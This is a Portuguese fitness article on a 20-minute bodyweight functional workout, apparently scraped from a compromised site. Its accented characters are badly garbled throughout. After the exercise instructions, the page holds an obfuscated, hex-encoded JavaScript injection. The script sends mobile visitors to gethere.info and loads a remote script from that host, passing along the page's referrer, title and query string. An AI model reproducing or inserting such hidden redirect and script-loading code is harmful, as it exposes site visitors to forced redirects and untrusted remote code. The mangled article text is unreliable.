Home » Saúde » Dieta e Nutrição » FortaleAi??a e defina seu corpo com esse treino funcional de apenas 20 minutos

FortaleAi??a e defina seu corpo com esse treino funcional de apenas 20 minutos

Se vocA? Ai?? dessas pessoas que tA?m uma lista enorme de afazeres todos os dias, mas nA?o quer deixar de cuidar do corpo, achar um tempinho para fazer atividade fAi??sicaAi??pode nA?o ser tA?o simples. Sendo assim,Ai??um treino rA?pido e funcional ajuda muito!Ai??ai???Ele Ai?? feito utilizandoAi??somente o peso do corpo, e Ai?? uma boa estratAi??gia para quem tem a vida corrida, nA?o gosta do ambiente de academia ou atAi?? mesmo prefere se exercitarAi??em casa ou ao ar livre de vez em quandoai???, diz oAi??personal trainer Valter Da Hora, da rede de academias Smart Fit.

ai???Esse treino tem como objetivo trabalhar todos os maiores grupos musculares, aumentando o tA?nus muscular (enrijecimento) e, de quebra, auxiliandoAi??na perda de gordura, desde que seja feito com uma intensidade adequada (moderada alta para alta), uma vez que o volume de treino serA? baixoai???, lembra Da Hora.

Quanto?
O personal explica que ai???serA?o sete exercAi??cios em sequA?ncia, totalizando 7 minutos no total, que poderA?o ser repetidos de 1 a 3 vezes (somando 7 a 21 minutos de treino)ai???.
Iniciante:Ai??20 segundos de execuAi??A?o por 40 segundos de recuperaAi??A?o (cada exercAi??cio).
IntermediA?rio:Ai??30 segundos de execuAi??A?o por 30 segundos de recuperaAi??A?o (cada exercAi??cio).
AvanAi??ado:Ai??40 segundos de execuAi??A?o por 20 segundos de recuperaAi??A?o.

SequA?ncia dos exercAi??cios
Agachamento livre com braAi??os elevados ai??i?? FlexA?o peito com apoios ai??i?? Abdominal OblAi??quo Cruzado ai??i?? AvanAi??o com braAi??os atrA?s da cabeAi??a ai??i?? FlexA?o trAi??ceps com apoios ai??i?? Abdominal suprassolo ai??i?? Prancha com ou sem apoio de joelhos.

Pronta para o treino?

Foto: fizkes/iStock

Agachamento livre com braAi??os elevados

De pAi??, com os pAi??s afastados na linha dos ombros e braAi??os estendidos acima e Ai?? frente da cabeAi??a, flexione os joelhos como se fosse sentar em um banquinho (o mA?ximo que conseguir, mantendo a postura), em seguida retorne Ai?? posiAi??A?o inicial, sem estender totalmente os joelhos.Ai??Se precisar, pode manter os braAi??os Ai?? frente ou em alguma outra posiAi??A?o, caso sinta algum desconforto nos ombros ao elevA?-los.

FlexA?o peito com apoios

De joelhos, apoiada sobre um colchonete, com as mA?os apoiadas no chA?o e um pouco mais afastadas da linha dos ombros, flexione os cotovelos (mantendo-os para fora) e aproxime o tronco (peitoral) do solo (o mA?ximo que conseguir, mantendo a postura), em seguida retorne Ai?? posiAi??A?o inicial sem estender totalmente os cotovelos.

Foto: jacoblund/iStock

Abdominal oblAi??quo cruzado

Deitada sobre o colchonete, com as mA?os atrA?s da cabeAi??a e joelhos flexionados, eleve o tronco (utilizando somente a forAi??a do abdome), fazendo uma ligeira rotaAi??A?o do corpo (cotovelo na direAi??A?o do joelho oposto), em seguida retorne Ai?? posiAi??A?o inicial. Alterne os lados.

AvanAi??o com braAi??os atrA?s da cabeAi??a

De pAi??, com os pAi??s afastados na linha dos ombros e braAi??os atrA?s da cabeAi??a, dA? um passo para frente com uma das pernas. Ao tocar o pAi?? no solo, flexione os joelhos de ambas as pernas, formando um A?ngulo de 90A? (o mA?ximo que conseguir), em seguida retorne Ai?? posiAi??A?o inicial. Alterne os lados.

Foto: fizkes/iStock

FlexA?o trAi??ceps com apoios

De joelhos sobre um colchonete, com as mA?os apoiadas no chA?o e afastadas na largura dos ombros, flexione os cotovelos (mantendo-os prA?ximo ao corpo, raspando as costelas), aproxime o tronco (peitoral) do solo (o mA?ximo que conseguir mantendo a postura), e em seguida retorne Ai?? posiAi??A?o inicial.

Abdominal suprassolo

Deitada sobre o colchonete, com as mA?os atrA?s da cabeAi??a e joelhos flexionados, eleve o tronco (utilizando somente a forAi??a do abdome), em seguida retorne Ai?? posiAi??A?o inicial.

Prancha com ou sem apoio de joelhos

Com os cotovelos apoiados sobre o solo e posicionados abaixo do ombro, mantenha o abdome contraAi??do, joelhos apoiados sobre o colchonete se for iniciante e intermediA?rio, ou pernas estendidas com joelhos fora do solo se for avanAi??ado. Sustente a posiAi??A?o sem desabar o quadril ou relaxar o abdome durante o tempo de execuAi??A?o.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

Publicação: Redação Brasil (m)

Login

Perdeu sua senha?